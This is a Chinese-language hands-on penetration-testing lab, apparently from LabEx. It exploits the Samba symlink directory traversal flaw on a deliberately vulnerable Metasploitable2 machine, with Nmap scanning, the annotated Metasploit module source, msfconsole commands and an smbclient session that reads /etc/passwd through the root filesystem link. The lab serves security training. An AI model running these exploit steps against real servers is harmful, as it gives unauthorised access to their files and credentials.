介绍
在本实验中,你将学习如何在 Metasploitable2 目标机器上利用一个新的 Samba 漏洞。在整个过程中,每个步骤都会提供截图。通过完成这个实验,你将获得使用工具利用 Samba 漏洞的实践经验。
本课程是一个纯动手操作的实验教程。为了帮助你理解实验中的操作,将介绍一些信息安全理论,并推荐最有价值的文章供你在练习时阅读。
在本实验中,你将学习如何在 Metasploitable2 目标机器上利用一个新的 Samba 漏洞。在整个过程中,每个步骤都会提供截图。通过完成这个实验,你将获得使用工具利用 Samba 漏洞的实践经验。
本课程是一个纯动手操作的实验教程。为了帮助你理解实验中的操作,将介绍一些信息安全理论,并推荐最有价值的文章供你在练习时阅读。
在这一步中,你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。
sudo virsh start Metasploitable2
等待目标机器启动,可能需要1-3分钟。
ping 192.168.122.102
按下 Ctrl+C
停止 ping。
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
按下 Ctrl+C
停止 ping。
现在攻击机和目标机都已启动,你可以开始渗透测试。
注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash
以启动一个新的 Kali 容器并进入 bash 继续实验。
在这一步中,你将使用 Nmap 扫描目标主机的漏洞。
首先,登录到 LabEx Kali 环境中的 MSF 终端:
cd ~
service postgresql start
msfdb init
msfconsole
收集目标主机的信息是渗透测试的第一步。使用 Nmap 扫描目标主机的漏洞,并将扫描结果保存到文件 /tmp/report.txt
中,输入以下命令:
nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt
这里使用的参数具有以下含义:
参数 | 描述 |
---|---|
-p |
指定要扫描的端口范围 |
-T4 |
设置 Nmap 扫描的时序策略,值范围为 0-5(数值越高速度越快) |
-A |
启用操作系统检测和版本检测 |
-v |
在扫描过程中显示详细信息 |
>/tmp/report.txt |
将输出重定向到文件以便后续分析 |
这个过程可能需要一些时间,因为正在扫描大范围的端口以进行全面的信息收集。请耐心等待一到两分钟。
扫描完成后,按下 Ctrl+D
,然后在 LabEx Kali 终端中使用 cat
命令查看文件内容:
cat /tmp/report.txt
你应该会在文本中看到类似以下的信息:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
这表明端口 139 和 445 正在运行 Samba 服务。
在这一步中,你将了解 Samba 漏洞并分析漏洞利用模块的核心代码。
Samba 是一款免费软件,允许类 UNIX 操作系统与 Microsoft Windows 使用的 SMB/CIFS(Server Message Block/Common Internet File System)网络协议进行连接。版本 3 不仅允许访问和共享 SMB 文件夹和打印机,还可以作为域控制器集成到 Windows Server 域中,或作为成员加入 Active Directory。简单来说,这款软件弥合了 Windows 和类 UNIX 操作系统之间的差距,实现了两者之间的资源共享。
Samba 的应用范围广泛,因此其漏洞可能产生重大影响。Samba 可以为选定的 Unix 目录(包括所有子目录)创建网络共享。此功能允许 Windows 用户通过网络访问这些 Unix 目录,就像访问普通的 Windows 文件夹一样。
本实验中使用的漏洞索引为:
本实验中使用的 samba 模块的源代码索引为:
以下是核心代码的解析:
## 模块初始化信息,包括作者信息和模块介绍
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## 注册选项信息
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## 主执行函数
def run
## 连接到服务器的函数
print_status("Connecting to the server...")
connect()
smb_login()
## 连接到目标主机
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## 尝试进入根文件系统
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## 成功进入后打印成功信息
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
在解析完模块的核心代码后,我们将在 MSF 终端中执行实际的漏洞利用,输入以下命令:
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
设置目标主机:
set RHOST 192.168.122.102
选择共享目录:
set SMBSHARE tmp
注意:提醒一下,此 Samba 漏洞的影响是允许为选定的 Unix 目录(包括所有子目录)创建网络共享。
设置完所有必需的参数后,你可以继续利用漏洞:
exploit
如果成功,你应该会看到以下消息:
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
成功利用漏洞后,使用 exit
命令退出,并在终端中使用 smbclient
测试是否可以连接。系统会提示输入密码,但你可以直接按 Enter 键而不输入任何密码:
exit
smbclient //192.168.122.102/tmp
连接成功后,你可以通过执行以下命令验证对根文件系统的访问权限:
more rootfs/etc/passwd
你应该会看到类似以下的输出:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
这确认你已成功利用漏洞,并通过创建的网络共享获得了对目标主机的访问权限。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在本实验中,你了解了 Metasploitable2 中的 Samba 漏洞,并按照原始步骤指导在目标机器上利用该漏洞。随后,你使用创建的网络共享登录到被攻陷的目标主机。本实验涵盖的关键点包括:
symlink_traversal
模块的核心代码解析建议你反复练习这些步骤,以加强对渗透测试过程的理解。推荐阅读部分提供了更多资源,供你深入学习 Samba 漏洞相关知识。